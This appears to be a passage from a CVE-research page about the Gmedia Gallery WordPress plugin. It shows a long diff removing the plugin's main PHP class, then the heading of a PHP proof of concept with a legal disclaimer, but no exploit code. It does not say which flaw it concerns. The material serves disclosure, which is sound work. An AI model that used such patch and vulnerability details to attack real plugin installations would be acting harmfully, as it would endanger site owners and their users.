-			add_filter( 'plugin_row_meta', array( &$this, 'add_plugin_links' ), 10, 2 );
-			add_action( 'admin_footer', array( &$this, 'add_plugin_feedback' ) );
-
-		}
-
-		public function start_plugin() {
-
-			$this->load_dependencies();
-
-			// Load the language file.
-			$this->load_textdomain();
-
-			require_once dirname( __FILE__ ) . '/inc/functions.php';
-
-			// Check for upgrade.
-			$this->upgrade();
-
-			require_once dirname( __FILE__ ) . '/inc/hashids.php';
-			require_once dirname( __FILE__ ) . '/inc/shortcodes.php';
-
-			// Load the admin panel or the frontend functions.
-			if ( is_admin() ) {
-
-				// Pass the init check or show a message.
-				if ( get_option( 'gmediaActivated' ) ) {
-					add_action( 'init', array( &$this, 'gmedia_after_activation' ) );
-				}
-
-				// Pass the init check or show a message.
-				if ( get_option( 'gmediaInitCheck' ) ) {
-					add_action( 'admin_notices', array( &$this, 'admin_notices' ) );
-				}
-
-				require_once dirname( __FILE__ ) . '/admin/functions.php';
-
-				require_once dirname( __FILE__ ) . '/admin/class.processor.php';
-
-			} else {
-
-				// Add the script and style files.
-				//add_action('wp_enqueue_scripts', array(&$this, 'load_scripts'), 4);
-
-				require_once dirname( __FILE__ ) . '/inc/frontend.filters.php';
-
-				// Add a version number to the header.
-				add_action( 'wp_head', array( &$this, 'gmedia_head_meta' ) );
-				add_action( 'wp_footer', array( &$this, 'load_module_scripts' ) );
-
-			}
-
-			add_action( 'gmedia_head', array( &$this, 'gmedia_head_meta' ) );
-			add_action( 'gmedia_head', array( &$this, 'load_scripts' ), 2 );
-			add_action( 'gmedia_head', 'wp_print_head_scripts', 9 );
-			add_action( 'gmedia_enqueue_scripts', array( &$this, 'load_module_scripts' ) );
-
-			add_action( 'gmedia_head', array( &$this, 'print_import_styles' ) );
-			add_action( 'gmedia_footer', array( &$this, 'print_import_styles' ) );
-
-		}
-
-		public function gmedia_head_meta() {
-			$lk         = strtolower( $this->options['license_key'] );
-			$db_version = get_option( 'gmediaDbVersion' );
-			echo "n" . '<!-- <meta name="GmediaGallery" version="' . esc_attr( $this->version . '/' . $db_version ) . '" license="' . esc_attr( $lk ) . '" /> -->' . "n";
-		}
-
-		public function admin_notices() {
-			echo '<div id="message" class="error"><p><strong>' . esc_html( get_option( 'gmediaInitCheck' ) ) . '</strong></p></div>';
-			delete_option( 'gmediaInitCheck' );
-		}
-
-		/**
-		 * @return bool
-		 */
-		public function required_version() {
-			global $wp_version;
-
-			// Check for WP version installation.
-			if ( version_compare( $wp_version, $this->minium_WP, '<' ) ) {
-				// translators: version.
-				$note = sprintf( __( 'Sorry, Gmedia Gallery works only under WordPress %s or higher', 'grand-media' ), $this->minium_WP );
-				update_option( 'gmediaInitCheck', $note );
-				add_action( 'admin_notices', array( &$this, 'admin_notices' ) );
-
-				return false;
-			}
-			if ( version_compare( '5.3', phpversion(), '>' ) ) {
-				// translators: version.
-				$note = sprintf( __( 'Attention! Your server php version is: %s. Gmedia Gallery requires php version 5.3+ in order to run properly. Please upgrade your server!', 'grand-media' ), phpversion() );
-				update_option( 'gmediaInitCheck', $note );
-				add_action( 'admin_notices', array( &$this, 'admin_notices' ) );
-
-				return false;
-			}
-
-			return true;
-		}
-
-		/**
-		 * Called via Setup and register_activate hook after gmedia_install() function
-		 */
-		public function gmedia_after_activation() {
-			global $gmCore;
-
-			delete_option( 'gmediaActivated' );
-
-			flush_rewrite_rules( false );
-
-			if ( (int) $this->options['mobile_app'] ) {
-				wp_clear_scheduled_hook( 'gmedia_app_cronjob' );
-				wp_schedule_event( time(), 'gmedia_app', 'gmedia_app_cronjob' );
-
-				$gmCore->app_service( 'app_activateplugin' );
-			}
-
-			$wp_installing = ( defined( 'WP_INSTALLING' ) && WP_INSTALLING );
-			if ( ! wp_next_scheduled( 'gmedia_modules_update' ) && ! $wp_installing ) {
-				wp_schedule_event( time(), 'daily', 'gmedia_modules_update' );
-			}
-		}
-
-		public function upgrade() {
-			// Queue upgrades.
-			$current_version    = get_option( 'gmediaVersion', null );
-			$current_db_version = get_option( 'gmediaDbVersion', null );
-
-			if ( null === $current_db_version ) {
-				add_option( 'gmediaDbVersion', GMEDIA_DBVERSION );
-			} elseif ( version_compare( $current_db_version, GMEDIA_DBVERSION, '<' ) ) {
-				require_once dirname( __FILE__ ) . '/config/update.php';
-
-				if ( get_transient( 'gmediaUpgrade' ) || ( isset( $_GET['do_update'] ) && ( 'gmedia' === $_GET['do_update'] ) ) ) {
-					add_action( 'admin_notices', 'gmedia_upgrade_process_admin_notice' );
-				} else {
-					add_action( 'admin_notices', 'gmedia_upgrade_required_admin_notice' );
-				}
-			}
-
-			if ( null === $current_version ) {
-				require_once dirname( __FILE__ ) . '/config/update.php';
-
-				add_option( 'gmediaVersion', GMEDIA_VERSION );
-				add_action( 'init', 'gmedia_flush_rewrite_rules', 1000 );
-			} elseif ( version_compare( $current_version, GMEDIA_VERSION, '<' ) ) {
-				require_once dirname( __FILE__ ) . '/config/update.php';
-
-				gmedia_quite_update();
-				gmedia_delete_transients( 'gm_cache' );
-				add_action( 'init', 'gmedia_flush_rewrite_rules', 1000 );
-
-				if ( (int) $this->options['mobile_app'] ) {
-					if ( ! wp_get_schedule( 'gmedia_app_cronjob' ) ) {
-						wp_schedule_event( time(), 'gmedia_app', 'gmedia_app_cronjob' );
-					}
-					global $gmCore;
-					$gmCore->app_service( 'app_updatecron' );
-				}
-			}
-
-		}
-
-		public function define_tables() {
-			global $wpdb;
-
-			// add database pointer.
-			$wpdb->gmedia                    = $wpdb->prefix . 'gmedia';
-			$wpdb->gmedia_meta               = $wpdb->prefix . 'gmedia_meta';
-			$wpdb->gmedia_term               = $wpdb->prefix . 'gmedia_term';
-			$wpdb->gmedia_term_meta          = $wpdb->prefix . 'gmedia_term_meta';
-			$wpdb->gmedia_term_relationships = $wpdb->prefix . 'gmedia_term_relationships';
-
-		}
-
-		public function define_constant() {
-
-			define( 'GMEDIA_VERSION', $this->version );
-			// Minimum required database version.
-			define( 'GMEDIA_DBVERSION', $this->dbversion );
-
-		}
-
-		public function load_options() {
-			include_once dirname( __FILE__ ) . '/config/setup.php';
-			// Load the options.
-			$default_options = gmedia_default_options();
-			$db_options      = get_option( 'gmediaOptions' );
-			if ( ! is_array( $db_options ) ) {
-				$db_options = array();
-			}
-			$this->options = array_merge( $default_options, $db_options );
-		}
-
-		public function load_dependencies() {
-
-			// We didn't need all stuff during an AJAX operation.
-			if ( defined( 'DOING_AJAX' ) ) {
-				require_once dirname( __FILE__ ) . '/admin/ajax.php';
-			} else {
-
-				// Load backend libraries.
-				if ( is_admin() ) {
-					require_once dirname( __FILE__ ) . '/inc/media-upload.php';
-					require_once dirname( __FILE__ ) . '/inc/post-metabox.php';
-
-					require_once dirname( __FILE__ ) . '/admin/admin.php';
-
-					// Load frontend libraries.
-				}
-
-				$current_plugins = get_option( 'active_plugins' );
-				if ( in_array( 'wordpress-seo/wp-seo.php', $current_plugins, true ) ) {
-					require_once dirname( __FILE__ ) . '/inc/sitemap.php';
-				}
-			}
-
-		}
-
-		public function compatibility() {
-			global $allowedposttags, $gm_allowed_tags;
-
-			require_once dirname( __FILE__ ) . '/inc/compatibility.php';
-
-			$allowed_tags             = $allowedposttags;
-			$allowed_tags['template'] = array(
-				'data-gmedia' => array(),
-			);
-			$gm_allowed_tags          = wp_kses_allowed_html( $allowed_tags );
-		}
-
-		public function load_textdomain() {
-
-			load_plugin_textdomain( 'grand-media', false, GMEDIA_FOLDER . '/lang/' );
-
-		}
-
-		public function register_scripts_backend() {
-			global $gmCore;
-
-			wp_register_script(
-				'gmedia-global-backend',
-				$gmCore->gmedia_url . '/admin/assets/js/gmedia.global.js',
-				array(
-					'jquery',
-					'underscore',
-				),
-				'1.13.0',
-				true
-			);
-			wp_localize_script(
-				'gmedia-global-backend',
-				'GmediaGallery',
-				array(
-					'ajaxurl'        => admin_url( 'admin-ajax.php' ),
-					'_wpnonce'       => wp_create_nonce( 'GmediaGallery' ),
-					'upload_dirurl'  => $gmCore->upload['url'],
-					'plugin_dirurl'  => $gmCore->gmedia_url,
-					'google_api_key' => $this->options['google_api_key'],
-				)
-			);
-
-			wp_register_style( 'fontawesome', $gmCore->gmedia_url . '/assets/fontawesome/css/all.min.css', array(), '6.1.1' );
-			wp_register_style( 'gmedia-bootstrap', $gmCore->gmedia_url . '/assets/bootstrap/css/bootstrap.min.css', array(), '5.1.3' );
-			wp_register_script( 'gmedia-bootstrap', $gmCore->gmedia_url . '/assets/bootstrap/js/bootstrap.bundle.min.js', array( 'jquery' ), '5.1.3', true );
-
-			wp_register_style(
-				'grand-media',
-				$gmCore->gmedia_url . '/admin/assets/css/gmedia.admin.css',
-				array(
-					'gmedia-bootstrap',
-					'fontawesome',
-				),
-				$this->version
-			);
-			wp_register_script(
-				'grand-media',
-				$gmCore->gmedia_url . '/admin/assets/js/gmedia.admin.js',
-				array(
-					'jquery',
-					'gmedia-bootstrap',
-					'gmedia-global-backend',
-				),
-				$this->version,
-				true
-			);
-			wp_localize_script(
-				'grand-media',
-				'grandMedia',
-				array(
-					'error3'   => __( 'Disable your Popup Blocker and try again.', 'grand-media' ),
-					'download' => __( 'downloading...', 'grand-media' ),
-					'wait'     => __( 'Working. Wait please.', 'grand-media' ),
-					'_wpnonce' => wp_create_nonce( 'GmediaGallery' ),
-				)
-			);
-
-			wp_register_script( 'outside-events', $gmCore->gmedia_url . '/assets/jq-plugins/outside-events.js', array( 'jquery' ), '1.1', true );
-
-		}
-
-		public function register_scripts_frontend() {
-			global $gmCore, $wp_scripts;
-
-			wp_register_style( 'gmedia-global-frontend', $gmCore->gmedia_url . '/assets/gmedia.global.front.css', array(), '1.15.0' );
-			wp_register_script( 'gmedia-global-frontend', $gmCore->gmedia_url . '/assets/gmedia.global.front.js', array( 'jquery' ), '1.13.0', true );
-			wp_localize_script(
-				'gmedia-global-frontend',
-				'GmediaGallery',
-				array(
-					'ajaxurl'        => admin_url( 'admin-ajax.php' ),
-					'nonce'          => wp_create_nonce( 'GmediaGallery' ),
-					'upload_dirurl'  => $gmCore->upload['url'],
-					'plugin_dirurl'  => $gmCore->upload['url'],
-					'license'        => strtolower( $this->options['license_key'] ),
-					'license2'       => $this->options['license_key2'],
-					'google_api_key' => $this->options['google_api_key'],
-				)
-			);
-
-			if ( ! wp_script_is( 'velocity', 'registered' ) || version_compare( $wp_scripts->registered['velocity']->ver, '1.4.1', '<' ) ) {
-				wp_deregister_script( 'velocity' );
-				wp_register_script( 'velocity', $gmCore->gmedia_url . '/assets/velocity/velocity.min.js', array( 'jquery' ), '1.4.1', true );
-			}
-
-			if ( ! wp_script_is( 'wavesurfer', 'registered' ) ) {
-				wp_register_script( 'wavesurfer', $gmCore->gmedia_url . '/assets/wavesurfer/wavesurfer.min.js', array( 'jquery' ), '1.2.8', true );
-			}
-
-			if ( ! wp_script_is( 'swiper', 'registered' ) ) {
-				wp_register_script( 'swiper', $gmCore->gmedia_url . '/assets/swiper/swiper.min.js', array( 'jquery' ), '5.3.6', true );
-			}
-
-			if ( ! wp_style_is( 'swiper', 'registered' ) ) {
-				wp_register_style( 'swiper', $gmCore->gmedia_url . '/assets/swiper/swiper.min.css', array(), '5.3.6', 'screen' );
-			}
-
-			if ( ! wp_script_is( 'photoswipe', 'registered' ) || version_compare( $wp_scripts->registered['photoswipe']->ver, '3.0.5', '<=' ) ) {
-				wp_deregister_style( 'photoswipe' );
-				wp_deregister_script( 'photoswipe' );
-				wp_register_style( 'photoswipe', $gmCore->gmedia_url . '/assets/photoswipe/photoswipe.css', array(), '3.0.5', 'screen' );
-				wp_register_script( 'photoswipe', $gmCore->gmedia_url . '/assets/photoswipe/photoswipe.jquery.min.js', array( 'jquery' ), '3.0.5', true );
-			}
-
-			if ( ! wp_script_is( 'easing', 'registered' ) || ( false !== $wp_scripts->registered['easing']->ver && version_compare( $wp_scripts->registered['easing']->ver, '1.3.0', '<' ) ) ) {
-				wp_deregister_script( 'easing' );
-				wp_register_script( 'easing', $gmCore->gmedia_url . '/assets/jq-plugins/jquery.easing.js', array( 'jquery' ), '1.3.0', true );
-			}
-			if ( ! wp_script_is( 'fancybox', 'registered' ) || ( false !== $wp_scripts->registered['fancybox']->ver && version_compare( $wp_scripts->registered['fancybox']->ver, '1.3.4', '<' ) ) ) {
-				if ( ! defined( 'FANCYBOX_VERSION' ) ) {
-					wp_deregister_style( 'fancybox' );
-					wp_register_style( 'fancybox', $gmCore->gmedia_url . '/assets/fancybox/jquery.fancybox-1.3.4.css', array(), '1.3.4' );
-				}
-				wp_deregister_script( 'fancybox' );
-				wp_register_script(
-					'fancybox',
-					$gmCore->gmedia_url . '/assets/fancybox/jquery.fancybox-1.3.4.pack.js',
-					array(
-						'jquery',
-						'easing',
-					),
-					'1.3.4',
-					true
-				);
-			}
-
-			if ( ! wp_script_is( 'jplayer', 'registered' ) || version_compare( $wp_scripts->registered['jplayer']->ver, '2.6.4', '<' ) ) {
-				wp_deregister_script( 'jplayer' );
-				wp_register_script( 'jplayer', $gmCore->gmedia_url . '/assets/jplayer/jquery.jplayer.min.js', array( 'jquery' ), '2.6.4', true );
-			}
-
-			wp_register_script( 'mousetrap', $gmCore->gmedia_url . '/assets/mousetrap/mousetrap.min.js', array(), '1.5.2', true );
-
-			$this->load_scripts();
-		}
-
-		public function load_scripts() {
-			wp_enqueue_script( 'jquery' );
-			wp_enqueue_style( 'gmedia-global-frontend' );
-			wp_enqueue_script( 'gmedia-global-frontend' );
-		}
-
-		public function load_module_scripts() {
-			global $wp_styles;
-			$deps           = array();
-			$xmlhttprequest = ( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && 'xmlhttprequest' === strtolower( $_SERVER['HTTP_X_REQUESTED_WITH'] ) );
-			foreach ( $this->do_module as $m => $module ) {
-				$deps = array_merge( $deps, explode( ',', $module['info']['dependencies'] ) );
-				$deps = apply_filters( 'gmedia_module_js_dependencies', $deps, $m );
-				$deps = array_filter( array_unique( $deps ) );
-				foreach ( $deps as $handle ) {
-					if ( wp_script_is( $handle, 'registered' ) ) {
-						wp_enqueue_script( $handle, false, array( 'jquery' ), $this->version, true );
-						if ( $xmlhttprequest ) {
-							wp_print_scripts( $handle );
-						}
-					}
-					if ( wp_style_is( $handle, 'registered' ) ) {
-						//wp_print_styles($handle);
-						$this->import_styles[ $handle ] = $wp_styles->registered[ $handle ]->src;
-					}
-				}
-				//$files = glob($module['path'] . '/css/*.css', GLOB_NOSORT);
-				//if(!empty($files)){
-				//    $files = array_map('basename', $files);
-				//    foreach($files as $file){
-				//        $this->import_styles[] = "{$module['url']}/css/{$file}";
-				//    }
-				//}
-				$files = glob( $module['path'] . '/js/*.js', GLOB_NOSORT );
-				if ( ! empty( $files ) ) {
-					$files      = array_map( 'basename', $files );
-					$files_deps = array_merge( array( 'jquery' ), $deps );
-					foreach ( $files as $file ) {
-						$_ver   = isset( $module['info']['version'] ) ? $module['info']['version'] : false;
-						$handle = "{$module['name']}_{$file}";
-						wp_enqueue_script( $handle, "{$module['url']}/js/{$file}", $files_deps, $_ver, [ 'strategy' => 'defer', 'in_footer' => true ] );
-						if ( $xmlhttprequest ) {
-							wp_print_scripts( $handle );
-						}
-					}
-				}
-			}
-			$this->do_module = array();
-			if ( ! empty( $this->import_styles ) ) {
-				add_action( 'wp_print_head_scripts', array( &$this, 'print_import_styles' ), 1 );
-				add_action( 'wp_print_footer_scripts', array( &$this, 'print_import_styles' ), 1 );
-			}
-			if ( $xmlhttprequest ) {
-				$this->print_import_styles();
-			}
-		}
-
-		/**
-		 * Return module styles like <style>@import(...)</style>
-		 *
-		 * @param array $module
-		 *
-		 * @return string
-		 */
-		public function load_module_styles( $module ) {
-			$module_styles = '';
-			$files         = glob( $module['path'] . '/css/*.css', GLOB_NOSORT );
-			if ( ! empty( $files ) ) {
-				$_ver  = isset( $module['info']['version'] ) ? $module['info']['version'] : false;
-				$files = array_map( 'basename', $files );
-				foreach ( $files as $file ) {
-					$src = "{$module['url']}/css/{$file}";
-					if ( 'http' !== substr( $src, 0, 4 ) ) {
-						$src = site_url( $src );
-					}
-					$src = add_query_arg( array( 'v' => $_ver ), $src );
-
-					$module_styles .= "@import url('{$src}') all;";
-				}
-			}
-
-			return $module_styles;
-		}
-
-		public function print_import_styles() {
-			if ( ! empty( $this->import_styles ) ) {
-				echo "n<style class='gmedia_assets_style_import'>";
-				foreach ( $this->import_styles as $src ) {
-					if ( 'http' !== substr( $src, 0, 4 ) ) {
-						$src = site_url( $src );
-					}
-					echo "n@import url('" . esc_url( $src ) . "') all;";
-				}
-				echo "n</style>n";
-				$this->import_styles = array();
-			}
-		}
-
-		/**
-		 * Call user function to all blogs in network
-		 * called during register_activation hook
-		 *
-		 * @param string $pfunction   UserFunction name.
-		 * @param bool   $networkwide Check if plugin has been activated for the entire blog network.
-		 *
-		 * @return void
-		 */
-		public static function network_propagate( $pfunction, $networkwide ) {
-
-			include_once dirname( __FILE__ ) . '/config/setup.php';
-
-			if ( function_exists( 'is_multisite' ) && is_multisite() ) {
-				// check if it is a network activation - if so, run the activation function.
-				// for each blog id.
-				if ( $networkwide ) {
-					global $wpdb;
-					//$old_blog = $wpdb->blogid;
-					// Get all blog ids.
-					$blogids = $wpdb->get_col( "SELECT blog_id FROM {$wpdb->blogs}" );
-					foreach ( $blogids as $blog_id ) {
-						switch_to_blog( $blog_id );
-						call_user_func( $pfunction );
-					}
-					//switch_to_blog($old_blog);
-					restore_current_blog();
-
-					return;
-				}
-			}
-			call_user_func( $pfunction );
-		}
-
-		/**
-		 * @param $networkwide
-		 */
-		public function activate( $networkwide ) {
-			$this->network_propagate( 'gmedia_install', $networkwide );
-		}
-
-		/**
-		 * @param $networkwide
-		 */
-		public function deactivate( $networkwide ) {
-			$this->network_propagate( 'gmedia_deactivate', $networkwide );
-		}
-
-		/*
-		public static function uninstall($networkwide) {
-			//wp_die( '<h1>This is run on <code>init</code> during uninstallation</h1>', 'Uninstallation hook example' );
-			Gmedia::network_propagate('gmedia_uninstall', $networkwide);
-		}
-		*/
-
-		/**
-		 * @param $blog_id
-		 * @param $user_id
-		 * @param $domain
-		 * @param $path
-		 * @param $site_id
-		 * @param $meta
-		 */
-		public function new_blog( $blog_id, $user_id, $domain, $path, $site_id, $meta ) {
-			if ( is_plugin_active_for_network( GMEDIA_FOLDER . '/grand-media.php' ) ) {
-				include_once dirname( __FILE__ ) . '/config/setup.php';
-				switch_to_blog( $blog_id );
-				gmedia_install();
-				restore_current_blog();
-			}
-		}
-
-		/**
-		 * @param $user_id
-		 * @param $reassign
-		 */
-		public function reassign_media( $user_id, $reassign ) {
-			global $gmDB;
-			$gmDB->reassign_media( $user_id, $reassign );
-		}
-
-		/**
-		 * Register Gmedia Post Types
-		 */
-		public function gmedia_post_type() {
-			$args = array(
-				'label'               => __( 'Gmedia Posts', 'grand-media' ),
-				'supports'            => array( 'comments' ),
-				'hierarchical'        => false,
-				'public'              => true,
-				'show_ui'             => false,
-				'show_in_menu'        => false,
-				'show_in_admin_bar'   => false,
-				'show_in_nav_menus'   => false,
-				'can_export'          => false,
-				'has_archive'         => (bool) ( (int) $this->options['gmedia_has_archive'] ), //'gmedia-library',
-				'publicly_queryable'  => true,
-				'exclude_from_search' => (bool) ( (int) $this->options['gmedia_exclude_from_search'] ),
-				'rewrite'             => array( 'slug' => $this->options['gmedia_post_slug'] ),
-				'map_meta_cap'        => true,
-				'capabilities'        => array(
-					'read_private_posts' => 'read_private_gmedia_posts',
-					//'edit_comment'       => 'edit_gmedia_comment',
-					//'moderate_comments'  => 'moderate_gmedia_comments',
-					//'edit_post'          => 'edit_gmedia_post',
-					//'edit_posts'         => 'edit_gmedia_posts',
-					'create_posts'       => false,
-				),
-			);
-			register_post_type( 'gmedia', $args );
-
-			$args['label']               = __( 'Gmedia Albums', 'grand-media' );
-			$args['show_in_nav_menus']   = true;
-			$args['hierarchical']        = true;
-			$args['has_archive']         = (bool) ( (int) $this->options['gmedia_album_has_archive'] );
-			$args['exclude_from_search'] = (bool) ( (int) $this->options['gmedia_album_exclude_from_search'] );
-			$args['rewrite']             = array( 'slug' => $this->options['gmedia_album_post_slug'] );
-			register_post_type( 'gmedia_album', $args );
-
-			$args['label']               = __( 'Gmedia Galleries', 'grand-media' );
-			$args['has_archive']         = (bool) ( (int) $this->options['gmedia_gallery_has_archive'] );
-			$args['exclude_from_search'] = (bool) ( (int) $this->options['gmedia_gallery_exclude_from_search'] );
-			$args['rewrite']             = array( 'slug' => $this->options['gmedia_gallery_post_slug'] );
-			register_post_type( 'gmedia_gallery', $args );
-
-			add_filter( 'get_gmedia_metadata', array( $this, 'get_gmedia_metadata' ), 10, 4 );
-			add_filter( 'get_gmedia_term_metadata', array( $this, 'get_gmedia_term_metadata' ), 10, 4 );
-			add_filter( 'get_edit_post_link', array( $this, 'gmedia_post_type_edit_link' ), 10, 3 );
-
-			$args           = array(
-				'hierarchical'      => false,
-				'public'            => true,
-				'show_ui'           => false,
-				'show_admin_column' => false,
-				'show_in_nav_menus' => false,
-				'show_tagcloud'     => false,
-				'rewrite'           => array( 'slug' => 'gmedia-category' ),
-			);
-			$args['labels'] = array(
-				'name'          => _x( 'Gmedia Categories', 'Taxonomy General Name', 'grand-media' ),
-				'singular_name' => _x( 'Gmedia Category', 'Taxonomy Singular Name', 'grand-media' ),
-				'menu_name'     => __( 'Gmedia Categories', 'grand-media' ),
-			);
-			register_taxonomy( 'gmedia_category', null, $args );
-
-			$args['rewrite'] = array( 'slug' => 'gmedia-tag' );
-			$args['labels']  = array(
-				'name'          => _x( 'Gmedia Tags', 'Taxonomy General Name', 'grand-media' ),
-				'singular_name' => _x( 'Gmedia Tag', 'Taxonomy Singular Name', 'grand-media' ),
-				'menu_name'     => __( 'Gmedia Tags', 'grand-media' ),
-			);
-			register_taxonomy( 'gmedia_tag', null, $args );
-
-			add_filter( 'wp_link_query_args', array( $this, 'exclude_gmedia_from_link_query' ) );
-
-			if ( ! empty( $this->options['flush_rewrite_rules'] ) ) {
-				unset( $this->options['flush_rewrite_rules'] );
-				update_option( 'gmediaOptions', $this->options );
-				flush_rewrite_rules( false );
-			}
-		}
-
-		/**
-		 * Get gmedia metadata
-		 *
-		 * @param $meta
-		 * @param $post_ID
-		 * @param $meta_key
-		 * @param $single
-		 *
-		 * @return array|string
-		 */
-		public function get_gmedia_metadata( $meta, $post_ID, $meta_key, $single ) {
-			global $gmDB;
-			$gmedia_id = get_post_meta( $post_ID, '_gmedia_ID', true );
-			$meta      = $gmDB->get_metadata( 'gmedia', $gmedia_id, $meta_key, $single );
-
-			return $meta;
-		}
-
-		/**
-		 * Get gmedia term metadata
-		 *
-		 * @param $meta
-		 * @param $post_ID
-		 * @param $meta_key
-		 * @param $single
-		 *
-		 * @return array|string
-		 */
-		public function get_gmedia_term_metadata( $meta, $post_ID, $meta_key, $single ) {
-			global $gmDB;
-			$gmedia_term_id = get_post_meta( $post_ID, '_gmedia_term_ID', true );
-			$meta           = $gmDB->get_metadata( 'gmedia_term', $gmedia_term_id, $meta_key, $single );
-
-			return $meta;
-		}
-
-		/**
-		 * Edit link for gmedia
-		 *
-		 * @param $link
-		 * @param $post_ID
-		 * @param $context
-		 *
-		 * @return string|void
-		 */
-		public function gmedia_post_type_edit_link( $link, $post_ID, $context ) {
-			$post = get_post( $post_ID );
-			if ( isset( $post->ID ) && 'gmedia' === substr( $post->post_type, 0, 6 ) ) {
-				global $gmDB;
-				if ( 'gmedia' === $post->post_type ) {
-					$gmedia_id = get_post_meta( $post->ID, '_gmedia_ID', true );
-					$gmedia    = $gmDB->get_gmedia( $gmedia_id );
-					if ( $gmedia ) {
-						$link = admin_url( "admin.php?page=GrandMedia&mode=edit&gmedia__in={$gmedia->ID}" );
-					} else {
-						wp_delete_post( $post->ID, true );
-						$link = '#';
-					}
-				} else {
-					$term_id = get_post_meta( $post->ID, '_gmedia_term_ID', true );
-					$term    = $gmDB->get_term( $term_id );
-					if ( $term ) {
-						if ( 'gmedia_album' === $term->taxonomy ) {
-							$link = admin_url( "admin.php?page=GrandMedia_Albums&edit_term={$term->term_id}" );
-						} elseif ( 'gmedia_gallery' === $term->taxonomy ) {
-							$link = admin_url( "admin.php?page=GrandMedia_Galleries&edit_term={$term->term_id}" );
-						}
-					} else {
-						wp_delete_post( $post->ID, true );
-						$link = '#';
-					}
-				}
-			}
-
-			return $link;
-		}
-
-		public function register_gmedia_widget() {
-			require_once dirname( __FILE__ ) . '/inc/widget.php';
-			register_widget( 'GrandMedia_Gallery_Widget' );
-			register_widget( 'GrandMedia_Album_Widget' );
-		}
-
-		/**
-		 * @param $query
-		 *
-		 * @return mixed
-		 */
-		public function exclude_gmedia_from_link_query( $query ) {
-			$key = array_search( 'gmedia', $query['post_type'], true );
-			if ( false !== $key ) {
-				unset( $query['post_type'][ $key ] );
-			}
-
-			return $query;
-		}
-
-		/**
-		 * @param $shedules
-		 *
-		 * @return array
-		 */
-		public function gmedia_cron_schedules( $shedules ) {
-			$gmedia_shedules = array(
-				'gmedia_app' => array(
-					'interval' => 5 * DAY_IN_SECONDS,
-					'display'  => __( 'Gmedia App Defined' ),
-				),
-			);
-			$shedules        = array_merge( $shedules, $gmedia_shedules );
-
-			return $shedules;
-		}
-
-		public function gmedia_app_cronjob() {
-			global $gmCore;
-			$gmCore->app_service( 'app_updatecron' );
-		}
-
-		public function gmedia_modules_update() {
-			global $gmCore;
-			$gmCore->modules_update();
-		}
-
-		/*
-		// PLUGIN MESSAGE ON PLUGINS PAGE.
-		public function check_message_version( $file ) {
-			static $this_plugin;
-			if ( ! $this_plugin ) {
-				$this_plugin = GMEDIA_FOLDER;
-			}
-
-			if ( $file === $this_plugin ) {
-				$checkfile = 'https://codeasily.com/grand-flam.chk';
-
-				$message = wp_remote_fopen( $checkfile );
-
-				if ( $message ) {
-					preg_match( '|grand' . str_replace( '.', '', GMEDIA_VERSION ) . ':(.*)$|mi', $message, $theMessage );
-					$columns = 5;
-					if ( ! empty( $theMessage ) ) {
-						$theMessage = trim( $theMessage[1] );
-						echo '<td colspan="' . intval( $columns ) . '" class="plugin-update" style="line-height:1.2em; font-size:11px; padding:1px;"><div id="flag-update-msg" style="padding-bottom:1px;" >' . wp_kses_post( $theMessage ) . '</div></td>';
-					} else {
-						return;
-					}
-				}
-			}
-		}
-		*/
-
-		public function add_plugin_links( $links, $file ) {
-			if ( plugin_basename( __FILE__ ) === $file ) {
-				$links[] = '<a href="admin.php?page=GrandMedia_Settings">' . esc_html__( 'Settings', 'grand-media' ) . '</a>';
-				$links[] = '<a href="admin.php?page=GrandMedia_Modules">' . esc_html__( 'Modules', 'grand-media' ) . '</a>';
-				$links[] = '<a href="https://codeasily.com/product/one-site-license/">' . esc_html__( 'Get Premium', 'grand-media' ) . '</a>';
-				$links[] = '<a href="https://codeasily.com/donate/">' . esc_html__( 'Donate', 'grand-media' ) . '</a>';
-			}
-
-			return $links;
-		}
-
-		public function add_plugin_feedback() {
-			global $pagenow;
-			if ( 'plugins.php' !== $pagenow ) {
-				return;
-			}
-			?>
-			<script type="text/javascript">
-							jQuery( function( $ ) {
-								function gm_parse_query( s ) {
-									var j = {}, res = s.split( /&/gm ).map( function( e ) {
-										var o = e.split( /=/ ), pt = j;
-										if ( typeof o[1] === 'undefined' ) {o[1] = '';}
-										o[0].replace( /^(w+)[([^&]*)]/, '$1][$2' ).split( /][/ ).map( function( e, i, a ) {
-											if ( e === '' ) {e = Object.keys( pt ).length;}
-											pt = (pt[e] = pt[e] || (i === a.length - 1 ? decodeURIComponent( o[1].replace( /+/, ' ' ) ) : {}));
-										} );
-									} );
-									return j;
-								}
-
-								$( 'tr[data-slug="grand-media"] .deactivate a' ).on( 'click', function( e ) {
-									e.preventDefault();
-									e.stopPropagation();
-
-									$( 'body' ).append( $( '#tmpl-gmedia-feedback' ).html() );
-									var deactivate_link = $( this ).attr( 'href' );
-									$( '.gm-button-submit-deactivate, .gm-button-skip-deactivate' ).attr( 'href', deactivate_link );
-									$( '#gmedia-feedback [name="reason"]' ).on( 'change', function() {
-										var parent = $( this ).closest( '.reason' );
-										parent.siblings( '.has-input' ).find( '.reason-input' ).hide().find( 'input' ).prop( 'disabled', true );
-										if ( parent.hasClass( 'has-input' ) ) {
-											if ( $( this ).is( ':checked' ) ) {
-												$( '.reason-input', parent ).show().find( 'input' ).prop( 'disabled', false );
-											}
-										}
-									} );
-									$( '#gmedia-feedback .gm-button-submit-deactivate' ).on( 'click', function( e ) {
-										e.preventDefault();
-
-										var feedback = $( '#gmedia-feedback input' ).serialize();
-										feedback = gm_parse_query( feedback );
-
-										if ( feedback.reason === '' ) {
-											window.location = deactivate_link;
-											return;
-										}
-
-										$( '#gmedia-feedback .spinner' ).addClass( 'is-active' );
-										var post_data = {
-											action: 'gmedia_feedback',
-											data: feedback,
-											_wpnonce_gmedia_feedback: '<?php echo esc_js( wp_create_nonce( 'gmedia_feedback' ) ); ?>'
-										};
-										$.post( ajaxurl, post_data ).always( function( data ) {
-											$( '#gmedia-feedback .spinner' ).removeClass( 'is-active' );
-											window.location = deactivate_link;
-										} );
-										return false;
-									} );
-									$( '#gmedia-feedback .gm-button-close' ).on( 'click', function() {
-										$( '#gmedia-fe

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
